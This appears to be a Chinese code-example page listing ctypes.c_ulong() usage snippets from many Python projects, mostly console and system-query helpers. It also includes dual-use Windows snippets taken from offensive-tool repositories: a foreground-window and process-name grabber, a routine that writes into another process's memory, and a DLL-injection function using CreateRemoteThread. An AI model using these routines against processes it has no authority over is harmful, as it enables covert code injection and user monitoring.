Python ctypes 模块,c_ulong() 实例源码

我们从Python开源项目中,提取了以下49个代码示例,用于说明如何使用ctypes.c_ulong()

项目:OSPTF    作者:xSploited    | 项目源码 | 文件源码
def get_current_process():
    hwnd = user32.GetForegroundWindow()

    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))

    #process_id = "%d" % pid.value

    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)

    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    return executable.value, window_title.value
项目:creator-system-test-framework    作者:CreatorDev    | 项目源码 | 文件源码
def AwaObjectLinkArray_IsValid(self, array, index):
        self._lib.AwaObjectLinkArray_IsValid.restype = c_bool
        self._lib.AwaObjectLinkArray_IsValid.argtypes = [c_void_p, c_ulong]
        return self._lib.AwaObjectLinkArray_IsValid(array, index)

# * @}
项目:SoCFoundationFlow    作者:mattaw    | 项目源码 | 文件源码
def clear_screen(self, param):
            mode = to_int(param, 0)
            sbinfo = self.screen_buffer_info()
            if mode == 1: # Clear from begining of screen to cursor position
                clear_start = COORD(0, 0)
                clear_length = sbinfo.CursorPosition.X * sbinfo.CursorPosition.Y
            elif mode == 2: # Clear entire screen and return cursor to home
                clear_start = COORD(0, 0)
                clear_length = sbinfo.Size.X * sbinfo.Size.Y
                windll.kernel32.SetConsoleCursorPosition(self.hconsole, clear_start)
            else: # Clear from cursor position to end of screen
                clear_start = sbinfo.CursorPosition
                clear_length = ((sbinfo.Size.X - sbinfo.CursorPosition.X) + sbinfo.Size.X * (sbinfo.Size.Y - sbinfo.CursorPosition.Y))
            chars_written = c_ulong()
            windll.kernel32.FillConsoleOutputCharacterW(self.hconsole, c_wchar(' '), clear_length, clear_start, byref(chars_written))
            windll.kernel32.FillConsoleOutputAttribute(self.hconsole, sbinfo.Attributes, clear_length, clear_start, byref(chars_written))
项目:SoCFoundationFlow    作者:mattaw    | 项目源码 | 文件源码
def writeconsole(self, txt):
            chars_written = c_ulong()
            writeconsole = windll.kernel32.WriteConsoleA
            if isinstance(txt, _type):
                writeconsole = windll.kernel32.WriteConsoleW

            # MSDN says that there is a shared buffer of 64 KB for the console
            # writes. Attempt to not get ERROR_NOT_ENOUGH_MEMORY, see waf issue #746
            done = 0
            todo = len(txt)
            chunk = 32<<10
            while todo != 0:
                doing = min(chunk, todo)
                buf = txt[done:done+doing]
                r = writeconsole(self.hconsole, buf, doing, byref(chars_written), None)
                if r == 0:
                    chunk >>= 1
                    continue
                done += doing
                todo -= doing
项目:SoCFoundationFlow    作者:mattaw    | 项目源码 | 文件源码
def clear_screen(self, param):
            mode = to_int(param, 0)
            sbinfo = self.screen_buffer_info()
            if mode == 1: # Clear from begining of screen to cursor position
                clear_start = COORD(0, 0)
                clear_length = sbinfo.CursorPosition.X * sbinfo.CursorPosition.Y
            elif mode == 2: # Clear entire screen and return cursor to home
                clear_start = COORD(0, 0)
                clear_length = sbinfo.Size.X * sbinfo.Size.Y
                windll.kernel32.SetConsoleCursorPosition(self.hconsole, clear_start)
            else: # Clear from cursor position to end of screen
                clear_start = sbinfo.CursorPosition
                clear_length = ((sbinfo.Size.X - sbinfo.CursorPosition.X) + sbinfo.Size.X * (sbinfo.Size.Y - sbinfo.CursorPosition.Y))
            chars_written = c_ulong()
            windll.kernel32.FillConsoleOutputCharacterW(self.hconsole, c_wchar(' '), clear_length, clear_start, byref(chars_written))
            windll.kernel32.FillConsoleOutputAttribute(self.hconsole, sbinfo.Attributes, clear_length, clear_start, byref(chars_written))
项目:SoCFoundationFlow    作者:mattaw    | 项目源码 | 文件源码
def clear_screen(self, param):
            mode = to_int(param, 0)
            sbinfo = self.screen_buffer_info()
            if mode == 1: # Clear from begining of screen to cursor position
                clear_start = COORD(0, 0)
                clear_length = sbinfo.CursorPosition.X * sbinfo.CursorPosition.Y
            elif mode == 2: # Clear entire screen and return cursor to home
                clear_start = COORD(0, 0)
                clear_length = sbinfo.Size.X * sbinfo.Size.Y
                windll.kernel32.SetConsoleCursorPosition(self.hconsole, clear_start)
            else: # Clear from cursor position to end of screen
                clear_start = sbinfo.CursorPosition
                clear_length = ((sbinfo.Size.X - sbinfo.CursorPosition.X) + sbinfo.Size.X * (sbinfo.Size.Y - sbinfo.CursorPosition.Y))
            chars_written = c_ulong()
            windll.kernel32.FillConsoleOutputCharacterW(self.hconsole, c_wchar(' '), clear_length, clear_start, byref(chars_written))
            windll.kernel32.FillConsoleOutputAttribute(self.hconsole, sbinfo.Attributes, clear_length, clear_start, byref(chars_written))
项目:SoCFoundationFlow    作者:mattaw    | 项目源码 | 文件源码
def writeconsole(self, txt):
            chars_written = c_ulong()
            writeconsole = windll.kernel32.WriteConsoleA
            if isinstance(txt, _type):
                writeconsole = windll.kernel32.WriteConsoleW

            # MSDN says that there is a shared buffer of 64 KB for the console
            # writes. Attempt to not get ERROR_NOT_ENOUGH_MEMORY, see waf issue #746
            done = 0
            todo = len(txt)
            chunk = 32<<10
            while todo != 0:
                doing = min(chunk, todo)
                buf = txt[done:done+doing]
                r = writeconsole(self.hconsole, buf, doing, byref(chars_written), None)
                if r == 0:
                    chunk >>= 1
                    continue
                done += doing
                todo -= doing
项目:darkc0de-old-stuff    作者:tuwid    | 项目源码 | 文件源码
def _ram(self):
        kernel32 = ctypes.windll.kernel32
        c_ulong = ctypes.c_ulong
        class MEMORYSTATUS(ctypes.Structure):
            _fields_ = [
                ('dwLength', c_ulong),
                ('dwMemoryLoad', c_ulong),
                ('dwTotalPhys', c_ulong),
                ('dwAvailPhys', c_ulong),
                ('dwTotalPageFile', c_ulong),
                ('dwAvailPageFile', c_ulong),
                ('dwTotalVirtual', c_ulong),
                ('dwAvailVirtual', c_ulong)
            ]

        memoryStatus = MEMORYSTATUS()
        memoryStatus.dwLength = ctypes.sizeof(MEMORYSTATUS)
        kernel32.GlobalMemoryStatus(ctypes.byref(memoryStatus))
        return (memoryStatus.dwTotalPhys, memoryStatus.dwAvailPhys)
项目:LoLVRSpectate    作者:Fire-Proof    | 项目源码 | 文件源码
def write_bytes(self, address, data):
        address = int(address)
        if not self.isProcessOpen:
            raise ProcessException("Can't write_bytes(%s, %s), process %s is not open" % (address, data, self.pid))
        buffer = create_string_buffer(data)
        sizeWriten = c_ulong(0)
        bufferSize = sizeof(buffer) - 1
        _address = address
        _length = bufferSize + 1
        try:
            old_protect = self.VirtualProtectEx(_address, _length, PAGE_EXECUTE_READWRITE)
        except:
            pass

        res = windll.kernel32.WriteProcessMemory(self.h_process, address, buffer, bufferSize, byref(sizeWriten))
        try:
            self.VirtualProtectEx(_address, _length, old_protect)
        except:
            pass

        return res
项目:sc-controller    作者:kozec    | 项目源码 | 文件源码
def get_window_prop(dpy, window, prop_name, max_size=2):
    """
    Returns (nitems, property) of specified window or (-1, None) if anything fails.
    Returned 'property' is POINTER(c_void_p) and has to be freed using X.free().
    """
    prop_atom = intern_atom(dpy, prop_name, False)
    type_return, format_return = Atom(), Atom()
    nitems, bytes_after = c_ulong(), c_ulong()
    prop = c_void_p()

    if SUCCESS == get_window_property(dpy, window,
                prop_atom, 0, max_size, False, ANYPROPERTYTYPE,
                byref(type_return), byref(format_return), byref(nitems),
                byref(bytes_after), byref(prop)):
        return nitems.value, prop
    return -1, None
项目:purelove    作者:hucmosin    | 项目源码 | 文件源码
def get_current_process():
    hwnd = user32.GetForegroundWindow()

    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))

    #process_id = "%d" % pid.value

    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)

    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    return executable.value, window_title.value
项目:Intranet-Penetration    作者:yuxiaokui    | 项目源码 | 文件源码
def win32_version():
    import ctypes
    class OSVERSIONINFOEXW(ctypes.Structure):
        _fields_ = [('dwOSVersionInfoSize', ctypes.c_ulong),
                    ('dwMajorVersion', ctypes.c_ulong),
                    ('dwMinorVersion', ctypes.c_ulong),
                    ('dwBuildNumber', ctypes.c_ulong),
                    ('dwPlatformId', ctypes.c_ulong),
                    ('szCSDVersion', ctypes.c_wchar*128),
                    ('wServicePackMajor', ctypes.c_ushort),
                    ('wServicePackMinor', ctypes.c_ushort),
                    ('wSuiteMask', ctypes.c_ushort),
                    ('wProductType', ctypes.c_byte),
                    ('wReserved', ctypes.c_byte)]
    """
    Get's the OS major and minor versions.  Returns a tuple of
    (OS_MAJOR, OS_MINOR).
    """
    os_version = OSVERSIONINFOEXW()
    os_version.dwOSVersionInfoSize = ctypes.sizeof(os_version)
    retcode = ctypes.windll.Ntdll.RtlGetVersion(ctypes.byref(os_version))
    if retcode != 0:
        raise Exception("Failed to get OS version")

    return os_version.dwMajorVersion
项目:MKFQ    作者:maojingios    | 项目源码 | 文件源码
def win32_version():
    import ctypes
    class OSVERSIONINFOEXW(ctypes.Structure):
        _fields_ = [('dwOSVersionInfoSize', ctypes.c_ulong),
                    ('dwMajorVersion', ctypes.c_ulong),
                    ('dwMinorVersion', ctypes.c_ulong),
                    ('dwBuildNumber', ctypes.c_ulong),
                    ('dwPlatformId', ctypes.c_ulong),
                    ('szCSDVersion', ctypes.c_wchar*128),
                    ('wServicePackMajor', ctypes.c_ushort),
                    ('wServicePackMinor', ctypes.c_ushort),
                    ('wSuiteMask', ctypes.c_ushort),
                    ('wProductType', ctypes.c_byte),
                    ('wReserved', ctypes.c_byte)]
    """
    Get's the OS major and minor versions.  Returns a tuple of
    (OS_MAJOR, OS_MINOR).
    """
    os_version = OSVERSIONINFOEXW()
    os_version.dwOSVersionInfoSize = ctypes.sizeof(os_version)
    retcode = ctypes.windll.Ntdll.RtlGetVersion(ctypes.byref(os_version))
    if retcode != 0:
        raise Exception("Failed to get OS version")

    return os_version.dwMajorVersion
项目:creator-system-test-framework    作者:CreatorDev    | 项目源码 | 文件源码
def AwaOpaqueArray_IsValid(self, array, index):
        self._lib.AwaOpaqueArray_IsValid.restype = c_bool
        self._lib.AwaOpaqueArray_IsValid.argtypes = [c_void_p, c_ulong]
        return self._lib.AwaOpaqueArray_IsValid(array, index)
项目:pupy    作者:ru-faraon    | 项目源码 | 文件源码
def get_current_process():
    hwnd = user32.GetForegroundWindow()

    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))

    #process_id = "%d" % pid.value

    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)

    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    return executable.value, window_title.value
项目:pysetupdi    作者:gwangyi    | 项目源码 | 文件源码
def get_property_keys(self):
        """
        Get all device property keys

        :return: Iterable of device property keys
        """
        if self._handle is None:
            with self.open():
                return self.get_property_keys()

        handle, dev_info, _ = self._handle
        required_size = ctypes.c_ulong()
        if not _setupapi.SetupDiGetDevicePropertyKeys(handle, ctypes.byref(dev_info), None, 0,
                                                      ctypes.byref(required_size), 0):
            err_no = ctypes.GetLastError()
            if err_no == 122:  # ERROR_INSUFFICIENT_BUFFER
                # noinspection SpellCheckingInspection
                devpkeys = (DevicePropertyKey * required_size.value)()
                if _setupapi.SetupDiGetDevicePropertyKeys(handle, ctypes.byref(dev_info), ctypes.byref(devpkeys),
                                                          required_size.value, None, 0):
                    return list(devpkeys)
                err_no = ctypes.GetLastError()

            raise WindowsError(err_no, ctypes.FormatError(err_no))
        return []
项目:opc-rest-api    作者:matzpersson    | 项目源码 | 文件源码
def _mem_info():
        kernel32 = ctypes.windll.kernel32
        c_ulong = ctypes.c_ulong
        class MEMORYSTATUS(ctypes.Structure):
            _fields_ = [
                ('dwLength', c_ulong),
                ('dwMemoryLoad', c_ulong),
                ('dwTotalPhys', c_ulong),
                ('dwAvailPhys', c_ulong),
                ('dwTotalPageFile', c_ulong),
                ('dwAvailPageFile', c_ulong),
                ('dwTotalVirtual', c_ulong),
                ('dwAvailVirtual', c_ulong)
            ]

        memoryStatus = MEMORYSTATUS()
        memoryStatus.dwLength = ctypes.sizeof(MEMORYSTATUS)
        kernel32.GlobalMemoryStatus(ctypes.byref(memoryStatus))
        return (memoryStatus.dwTotalPhys, memoryStatus.dwAvailPhys)
项目:xyppy    作者:theinternetftw    | 项目源码 | 文件源码
def set_color(fg_col, bg_col):
    global last_fg_col
    global last_bg_col
    if fg_col == last_fg_col and bg_col == last_bg_col:
        return
    last_fg_col = fg_col
    last_bg_col = bg_col
    if is_windows:
        # convert from (rgb+2) to bgr
        fg_col = rgb3_to_bgr3(fg_col-2)
        bg_col = rgb3_to_bgr3(bg_col-2)
        col_attr = fg_col | (bg_col << 4)
        stdout_handle = ctypes.windll.kernel32.GetStdHandle(ctypes.c_ulong(-11))
        ctypes.windll.kernel32.SetConsoleTextAttribute(stdout_handle, col_attr)
    else:
        color = str(fg_col + 28)
        sys.stdout.write('\x1b['+color+'m')
        color = str(bg_col + 38)
        sys.stdout.write('\x1b['+color+'m')

# TODO: any other encodings to check for?
项目:xyppy    作者:theinternetftw    | 项目源码 | 文件源码
def getch_impl():
    # TODO: This windows impl keeps pipes/redirects from working. Need ReadFile for that,
    # with more complicated handling (personally, I'm just going to keep using unix/cygwin
    # for pipe-y debug stuff...)
    # TODO: Windows escape seqs via ReadConsoleInput, convert to VT100 seqs for more commonality.
    if is_windows:
        stdin_handle = ctypes.windll.kernel32.GetStdHandle(ctypes.c_ulong(-10))
        one_char_buf = ctypes.c_uint32()
        chars_read = ctypes.c_uint32()
        # NOTE: W version of this function == ERROR_NOACCESS after text color set in photopia!?
        result = ctypes.windll.kernel32.ReadConsoleA(stdin_handle,
                                                     ctypes.byref(one_char_buf),
                                                     1,
                                                     ctypes.byref(chars_read),
                                                     0)

        if result == 0 or chars_read.value != 1:
            last_err = ctypes.windll.kernel32.GetLastError()
            print('LAST ERR', last_err)
            err('failed to read console')

        return chr(one_char_buf.value)
    else: #Unix
        return sys.stdin.read(1)
项目:xxNet    作者:drzorm    | 项目源码 | 文件源码
def win32_version():
    import ctypes
    class OSVERSIONINFOEXW(ctypes.Structure):
        _fields_ = [('dwOSVersionInfoSize', ctypes.c_ulong),
                    ('dwMajorVersion', ctypes.c_ulong),
                    ('dwMinorVersion', ctypes.c_ulong),
                    ('dwBuildNumber', ctypes.c_ulong),
                    ('dwPlatformId', ctypes.c_ulong),
                    ('szCSDVersion', ctypes.c_wchar*128),
                    ('wServicePackMajor', ctypes.c_ushort),
                    ('wServicePackMinor', ctypes.c_ushort),
                    ('wSuiteMask', ctypes.c_ushort),
                    ('wProductType', ctypes.c_byte),
                    ('wReserved', ctypes.c_byte)]
    """
    Get's the OS major and minor versions.  Returns a tuple of
    (OS_MAJOR, OS_MINOR).
    """
    os_version = OSVERSIONINFOEXW()
    os_version.dwOSVersionInfoSize = ctypes.sizeof(os_version)
    retcode = ctypes.windll.Ntdll.RtlGetVersion(ctypes.byref(os_version))
    if retcode != 0:
        raise Exception("Failed to get OS version")

    return os_version.dwMajorVersion
项目:ALP4lib    作者:wavefronthsaping    | 项目源码 | 文件源码
def DevControl(self, controlType,value):
        '''
        This  function  is used to  change  the  display  properties  of  the  ALP.  
        The  default  values  are  assigned during device allocation by AllocateSequence.

        Usage: Control(self, controlType, value)

        PARAMETERS
        ----------

        controlType: ctypes c_ulong
                     Specifies the type of value to set.

        SEE ALSO
        --------
        See AlpDevControl in the ALP API description for control types.
        '''
        self._checkError(self._ALPLib.AlpDevControl(self.ALP_ID, controlType, ct.c_long(value)),'Error sending request.')
项目:ALP4lib    作者:wavefronthsaping    | 项目源码 | 文件源码
def DevControlEx(self, controlType, userStruct):
        '''
        Data objects that do not fit into a simple 32-bit number can be written using this function. Meaning and 
        layout of the data depend on the ControlType.

        Usage: Control(self, controlType, value)

        PARAMETERS
        ----------

        controlType : ctypes c_ulong
                      Specifies the type of value to set.
        userStruct : tAlpDynSynchOutGate structure 
                     It contains synch parameters.


        SEE ALSO
        --------

        See AlpDevControlEx in the ALP API description for control types.
        '''
        self._checkError(self._ALPLib.AlpDevControlEx(self.ALP_ID,  controlType, userStruct.byref()),'Error sending request.')
项目:ALP4lib    作者:wavefronthsaping    | 项目源码 | 文件源码
def ProjControl(self,  controlType, value):
        '''
        This function controls the system parameters that are in effect for all sequences. These parameters 
        are maintained until they are modified again or until the ALP is freed. Default values are in effect after 
        ALP allocation. All parameters can be read out using the AlpProjInquire function.
        This function is only allowed if the ALP is in idle wait state (ALP_PROJ_IDLE), which can be enforced 
        by the AlpProjHalt function.

        Usage: Control(self, controlType, value)

        PARAMETERS
        ----------
        controlType : attribute flag (ctypes c_ulong)
                      Specify the paramter to set.

        value : c_double
                Value of the parameter to set.

        SEE ALSO
        --------

        See AlpProjControl in the ALP API description for control types.
        '''
        self._checkError(self._ALPLib.AlpProjControl(self.ALP_ID, controlType, ct.c_long(value)),'Error sending request.')
项目:ALP4lib    作者:wavefronthsaping    | 项目源码 | 文件源码
def ProjControlEx(self,  controlType, pointerToStruct):
        '''
        Data  objects  that  do  not  fit  into  a  simple  32-bit  number  can  be  written  using  this  function.  These 
        objects are unique to the ALP device, so they may affect display of all sequences.
        Meaning and layout of the data depend on the ControlType.

        Usage: Control(self, controlType, value)

        PARAMETERS
        ----------
        controlType : attribute flag (ctypes c_ulong)
            Specify the paramter to set.

        pointerToStruct : ctypes POINTER
            Pointer to a tFlutWrite structure. Create a tFlutWrite object and pass it to the function using ctypes.byref
            (Requires importing ctypes)


        SEE ALSO
        --------
        See AlpProjControlEx in the ALP API description for control types.
        '''
        self._checkError(self._ALPLib.AlpProjContro(self.ALP_ID, controlType, pointerToStruct),'Error sending request.')
项目:MacHeap    作者:blankwall    | 项目源码 | 文件源码
def consume(self, amount):
            '''Consume ``amount`` bytes from the given provider.'''
            resultBuffer = (ctypes.c_char*amount)()
            amount,resultAmount = ctypes.c_ulong(amount),ctypes.c_ulong(amount)
            result = k32.ReadFile(
                self.handle, ctypes.byref(resultBuffer),
                amount, ctypes.byref(resultAmount),
                None
            )
            if (result == 0) or (resultAmount.value == 0 and amount > 0):
                e = OSError(win32error.getLastErrorTuple())
                raise error.ConsumeError(self,self.offset,amount,resultAmount.value, exception=e)

            if resultAmount.value == amount:
                self.offset += resultAmount.value
            return str(resultBuffer.raw)
项目:CAPE    作者:ctxis    | 项目源码 | 文件源码
def pids_from_process_name_list(self, namelist):
        proclist = []
        pidlist = []
        buf = create_string_buffer(1024 * 1024)
        p = cast(buf, c_void_p)
        retlen = c_ulong(0)
        retval = NTDLL.NtQuerySystemInformation(5, buf, 1024 * 1024, byref(retlen))
        if retval:
           return []
        proc = cast(p, POINTER(SYSTEM_PROCESS_INFORMATION)).contents
        while proc.NextEntryOffset:
            p.value += proc.NextEntryOffset
            proc = cast(p, POINTER(SYSTEM_PROCESS_INFORMATION)).contents
            proclist.append((proc.ImageName.Buffer[:proc.ImageName.Length/2], proc.UniqueProcessId))

        for proc in proclist:
            lowerproc = proc[0].lower()
            for name in namelist:
                if lowerproc == name:
                    pidlist.append(proc[1])
                    break
        return pidlist
项目:CAPE    作者:ctxis    | 项目源码 | 文件源码
def is_critical(self):
        """Determines if process is 'critical' or not, so we can prevent
           terminating it
        """
        if not self.h_process:
            self.open()

        if self.critical:
            return True

        NT_SUCCESS = lambda val: val >= 0

        val = c_ulong(0)
        retlen = c_ulong(0)
        ret = NTDLL.NtQueryInformationProcess(self.h_process, 29, byref(val), sizeof(val), byref(retlen))
        if NT_SUCCESS(ret) and val.value:
            return True
        return False
项目:CAPE    作者:ctxis    | 项目源码 | 文件源码
def get_parent_pid(self):
        """Get the Parent Process ID."""
        if not self.h_process:
            self.open()

        NT_SUCCESS = lambda val: val >= 0

        pbi = (ULONG_PTR * 6)()
        size = c_ulong()

        # Set return value to signed 32bit integer.
        NTDLL.NtQueryInformationProcess.restype = c_int

        ret = NTDLL.NtQueryInformationProcess(self.h_process,
                                              0,
                                              byref(pbi),
                                              sizeof(pbi),
                                              byref(size))

        if NT_SUCCESS(ret) and size.value == sizeof(pbi):
            return pbi[5]

        return None
项目:Deploy_XXNET_Server    作者:jzp820927    | 项目源码 | 文件源码
def start(self):
    """Start watching the directory for changes."""
    self._directory_handle = ctypes.windll.kernel32.CreateFileW(
        ctypes.c_wchar_p(self._directory),
        ctypes.c_ulong(_FILE_LIST_DIRECTORY),
        ctypes.c_ulong(_FILE_SHARE_READ |
                       _FILE_SHARE_WRITE),
        None,
        ctypes.c_ulong(_OPEN_EXISTING),
        # required to monitor changes.
        ctypes.c_ulong(_FILE_FLAG_BACKUP_SEMANTICS),
        None)
    if self._directory_handle == _INVALID_HANDLE_VALUE:
      raise ctypes.WinError()
    self._thread = threading.Thread(
        target=self._monitor, name='Win32 File Watcher')
    self._thread.start()
项目:Deploy_XXNET_Server    作者:jzp820927    | 项目源码 | 文件源码
def _monitor(self):
    buff = ctypes.create_string_buffer(_BUFF_SIZE)
    while not self._stop.isSet():
      size_returned = ctypes.c_ulong(0)
      result = ctypes.windll.kernel32.ReadDirectoryChangesW(
          self._directory_handle,
          buff,
          ctypes.c_ulong(_BUFF_SIZE),
          True,  # recursive.
          ctypes.c_ulong(_FILE_NOTIFY_CHANGE_ANY),
          ctypes.byref(size_returned),
          None,
          None)  # this is a blocking call.
      if result == 0 and ctypes.GetLastError() == _ERROR_NOTIFY_ENUM_DIR:
        logging.warning('Buffer overflow while monitoring for file changes.')
        # we need to notify that something changed anyway
        with self._lock:
          self._change_set |= {'Unknown file'}
      if result != 0 and size_returned.value != 0:
        additional_changes = _parse_buffer(buff)
        with self._lock:
          self._change_set |= additional_changes
          self._change_event.set()
项目:djdeploy    作者:ntuwang    | 项目源码 | 文件源码
def color_text_decorator(function):
        def real_func(self, string):
            windll.Kernel32.GetStdHandle.restype = c_ulong
            h = windll.Kernel32.GetStdHandle(c_ulong(0xfffffff5))
            if function.__name__.upper() == 'ERROR':
                windll.Kernel32.SetConsoleTextAttribute(h, 12)
            elif function.__name__.upper() == 'WARN':
                windll.Kernel32.SetConsoleTextAttribute(h, 13)
            elif function.__name__.upper() == 'INFO':
                windll.Kernel32.SetConsoleTextAttribute(h, 14)
            elif function.__name__.upper() == 'DEBUG':
                windll.Kernel32.SetConsoleTextAttribute(h, 15)
            else:
                windll.Kernel32.SetConsoleTextAttribute(h, 15)
            function(self, string)
            windll.Kernel32.SetConsoleTextAttribute(h, 15)
        return real_func
项目:shadowsocks-remix    作者:SuperSuperSuperSuper5    | 项目源码 | 文件源码
def load_libsodium():
    global loaded, libsodium, buf
    libsodium = util.find_library('sodium', 'crypto_stream_salsa20_xor_ic', 'libsodium')
    if libsodium is None:
        raise Exception('libsodium not found')
    libsodium.crypto_stream_salsa20_xor_ic.restype = c_int
    libsodium.crypto_stream_salsa20_xor_ic.argtypes = (c_void_p, c_char_p, c_ulonglong, c_char_p, c_ulonglong, c_char_p)
    libsodium.crypto_stream_chacha20_xor_ic.restype = c_int
    libsodium.crypto_stream_chacha20_xor_ic.argtypes = (c_void_p, c_char_p, c_ulonglong, c_char_p, c_ulonglong, c_char_p)
    try:
        libsodium.crypto_stream_chacha20_ietf_xor_ic.restype = c_int
        libsodium.crypto_stream_chacha20_ietf_xor_ic.argtypes = (c_void_p, c_char_p, c_ulonglong, c_char_p, c_ulong, c_char_p)
    except:
        pass
    buf = create_string_buffer(buf_size)
    loaded = True
项目:SoCFoundationFlow    作者:mattaw    | 项目源码 | 文件源码
def clear_line(self, param):
            mode = param and int(param) or 0
            sbinfo = self.screen_buffer_info()
            if mode == 1: # Clear from begining of line to cursor position
                line_start = COORD(0, sbinfo.CursorPosition.Y)
                line_length = sbinfo.Size.X
            elif mode == 2: # Clear entire line
                line_start = COORD(sbinfo.CursorPosition.X, sbinfo.CursorPosition.Y)
                line_length = sbinfo.Size.X - sbinfo.CursorPosition.X
            else: # Clear from cursor position to end of line
                line_start = sbinfo.CursorPosition
                line_length = sbinfo.Size.X - sbinfo.CursorPosition.X
            chars_written = c_ulong()
            windll.kernel32.FillConsoleOutputCharacterW(self.hconsole, c_wchar(' '), line_length, line_start, byref(chars_written))
            windll.kernel32.FillConsoleOutputAttribute(self.hconsole, sbinfo.Attributes, line_length, line_start, byref(chars_written))
项目:SoCFoundationFlow    作者:mattaw    | 项目源码 | 文件源码
def clear_line(self, param):
            mode = param and int(param) or 0
            sbinfo = self.screen_buffer_info()
            if mode == 1: # Clear from begining of line to cursor position
                line_start = COORD(0, sbinfo.CursorPosition.Y)
                line_length = sbinfo.Size.X
            elif mode == 2: # Clear entire line
                line_start = COORD(sbinfo.CursorPosition.X, sbinfo.CursorPosition.Y)
                line_length = sbinfo.Size.X - sbinfo.CursorPosition.X
            else: # Clear from cursor position to end of line
                line_start = sbinfo.CursorPosition
                line_length = sbinfo.Size.X - sbinfo.CursorPosition.X
            chars_written = c_ulong()
            windll.kernel32.FillConsoleOutputCharacterW(self.hconsole, c_wchar(' '), line_length, line_start, byref(chars_written))
            windll.kernel32.FillConsoleOutputAttribute(self.hconsole, sbinfo.Attributes, line_length, line_start, byref(chars_written))
项目:SoCFoundationFlow    作者:mattaw    | 项目源码 | 文件源码
def clear_line(self, param):
            mode = param and int(param) or 0
            sbinfo = self.screen_buffer_info()
            if mode == 1: # Clear from begining of line to cursor position
                line_start = COORD(0, sbinfo.CursorPosition.Y)
                line_length = sbinfo.Size.X
            elif mode == 2: # Clear entire line
                line_start = COORD(sbinfo.CursorPosition.X, sbinfo.CursorPosition.Y)
                line_length = sbinfo.Size.X - sbinfo.CursorPosition.X
            else: # Clear from cursor position to end of line
                line_start = sbinfo.CursorPosition
                line_length = sbinfo.Size.X - sbinfo.CursorPosition.X
            chars_written = c_ulong()
            windll.kernel32.FillConsoleOutputCharacterW(self.hconsole, c_wchar(' '), line_length, line_start, byref(chars_written))
            windll.kernel32.FillConsoleOutputAttribute(self.hconsole, sbinfo.Attributes, line_length, line_start, byref(chars_written))
项目:darkc0de-old-stuff    作者:tuwid    | 项目源码 | 文件源码
def inject_dll(self,dll_path,pid):

        '''
        Inject a DLL of your choice into a running process.
        @type    dll_name:    String
        @param   dll_name:    The path to the DLL you wish to inject.
        @type    pid:         Integer
        @param   pid:         The process ID that you wish to inject into.

        @returns              True if the DLL was injected successfully, False if it wasn't.
        '''

        dll_len = len(dll_path)

        # Get a handle to the process we are injecting into.
        h_process = kernel32.OpenProcess(pyfault_defines.PROCESS_ALL_ACCESS, False, pid)

        # Now we have to allocate enough bytes for the name and path of our DLL.
        arg_address = kernel32.VirtualAllocEx(h_process,0,dll_len,pyfault_defines.VIRTUAL_MEM,pyfault_defines.PAGE_READWRITE)

        # Write the path of the DLL into the previously allocated space. The pointer returned
        written = ctypes.c_int(0)
        kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, ctypes.byref(written))

        # Get a handle directly to kernel32.dll
        h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")

        # Get the address of LoadLibraryA
        h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA")

        # Now we try to create the remote thread, with the entry point of 
        thread_id = ctypes.c_ulong(0)
        if not kernel32.CreateRemoteThread(h_process,None,0,h_loadlib,arg_address,0,ctypes.byref(thread_id)):
            raise faultx("CreateRemoteThread failed, unable to inject the DLL.")

        # Return the threadid of the newly injected DLL 
        return True
项目:zabbix_manager    作者:BillWang139967    | 项目源码 | 文件源码
def init_kernel32(kernel32=None):
    """Load a unique instance of WinDLL into memory, set arg/return types, and get stdout/err handles.

    1. Since we are setting DLL function argument types and return types, we need to maintain our own instance of
       kernel32 to prevent overriding (or being overwritten by) user's own changes to ctypes.windll.kernel32.
    2. While we're doing all this we might as well get the handles to STDOUT and STDERR streams.
    3. If either stream has already been replaced set return value to INVALID_HANDLE_VALUE to indicate it shouldn't be
       replaced.

    :raise AttributeError: When called on a non-Windows platform.

    :param kernel32: Optional mock kernel32 object. For testing.

    :return: Loaded kernel32 instance, stderr handle (int), stdout handle (int).
    :rtype: tuple
    """
    if not kernel32:
        kernel32 = ctypes.LibraryLoader(ctypes.WinDLL).kernel32  # Load our own instance. Unique memory address.
        kernel32.GetStdHandle.argtypes = [ctypes.c_ulong]
        kernel32.GetStdHandle.restype = ctypes.c_void_p
        kernel32.GetConsoleScreenBufferInfo.argtypes = [
            ctypes.c_void_p,
            ctypes.POINTER(ConsoleScreenBufferInfo),
        ]
        kernel32.GetConsoleScreenBufferInfo.restype = ctypes.c_long

    # Get handles.
    if hasattr(sys.stderr, '_original_stream'):
        stderr = INVALID_HANDLE_VALUE
    else:
        stderr = kernel32.GetStdHandle(STD_ERROR_HANDLE)
    if hasattr(sys.stdout, '_original_stream'):
        stdout = INVALID_HANDLE_VALUE
    else:
        stdout = kernel32.GetStdHandle(STD_OUTPUT_HANDLE)

    return kernel32, stderr, stdout
项目:zabbix_manager    作者:BillWang139967    | 项目源码 | 文件源码
def get_console_info(kernel32, handle):
    """Get information about this current console window.

